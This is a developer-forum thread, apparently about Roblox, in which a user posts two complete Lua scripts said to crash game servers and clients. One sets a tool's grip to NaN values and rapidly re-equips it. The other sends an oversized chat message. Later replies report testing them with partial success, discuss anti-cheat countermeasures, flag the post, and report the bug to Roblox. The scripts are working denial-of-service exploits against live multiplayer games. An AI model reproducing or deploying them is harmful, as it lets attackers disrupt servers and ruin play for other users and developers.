Exploiters can crash servers

I found this script, I’m not smart enough to know how it works, but feel free to find out. It advertised itself as working in 90% of all servers.

local LP = game:GetService('Players').LocalPlayer
local LC = LP.Character
local LB = LP.Backpack
local Hum = LC:FindFirstChildOfClass('Humanoid')
local Tool = nil

if not Hum then
    return
end

Hum:UnequipTools()

for _, v in next, LB:GetChildren() do
    if v:IsA('Tool') and v:FindFirstChild('Handle') then
        Tool = v
        break
    end
end

if not Tool then
    return
end

Tool.Parent = LB
Tool.Grip = CFrame.new(0/0, 0/0, 0/0)
for i = 1, 10000 do
    Tool.Parent = LC
    Tool.Parent = LB
end

I also found another script which uses chat (?) to crash the server.

local v =96000000 --Maximal bit stream on client
-- (96000000 - 12) -- Maximal bit stream that server accept +-2
local msg = ""..string.rep(" ",(v - 12))
game.Players:Chat(msg)
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The script somehow modifies the tool, i have create an anti cheat that as soon as the tools is “modified” the user is getting kiccked by it.

@PolicePocholo Please Avoid posting potentially destructive exploits for any game here publicly, I have already flagged your post so that we have it removed, exploits would only find it more easily

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That script was what I’m talking about. I didn’t have time to test it but people claim exploiters can crash all clients by spamming this chat script.

These scripts can be find by people easily it’s not a big deal. It may also help developers to fix it.

I saw someone claiming to be able to crash any server by spamming some chat function. Cant confirm its the same as the one that was shared.

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Can you share the anti cheat or at least the exploit?

Actually I know some other ways to crash clients (slower but still possible) by using built-in methods like dropping hats.
I don’t know why roblox does not fix these engine bugs.

I tested this now in baseplate and it kinda works. It freezed my game for 5 seconds. Because of studio permissions I could not get the function to replicate but I’m sure it probably replicates in exploit execution and if you were to loop it you may crash all clients.

I’m pretty sure it wouldn’t work, as it would just crash the game client because of too many packets being sent to the server. It could work, just don’t know.

I can try and make an anti-cheat for developers to use.
Give me a couple minutes, :triumph:

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I was going to share a script to stop it a few days ago but forgot. I released it in its own thread like I did with the old NetworkOwnership exploit.
If you’d like to view it, here’s a link

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Hi @VladimrLenin I Can’t share this Script, i Already report this Exploit to the roblox exploit team I think they will do their best to fix it

Ok So, @VladimrLenin An Update for you’re problem,
The last day i report this problem to roblox and right now they answered me.

image

So i think that you’re problem will be fixed soon!
Happy to have helped you :heart:

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I think this is also something to do with illegal ddos, as it seems for my game players do not have to be in the server for the server to crash on it’s own.

I don’t think so … there must always be a person inside the server to at least loop the script and make it crash.
it is difficult to talk about ddos attack it would go relate to the safety of roblox.com

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I have just tested the chat crasher one with my friend and it seems to work, however, I do not know if the tool crasher works (yet!)

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I think it’s kinda fixed, I didn’t see any server crash for a few days

image

But we still get reports from a few people keep crashing every 5 minutes. At least this time other clients don’t crash it looks like a personal problem related to device however 3-4 weeks ago everything was perfect game crashes like this were never seen until now.

Nope, I could still crash it and my friend would tell me that the server had crashed and he had left. Nothing related to the network nor ddosing the server (which would be illegal).

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I’m really sorry, I didn’t know that.

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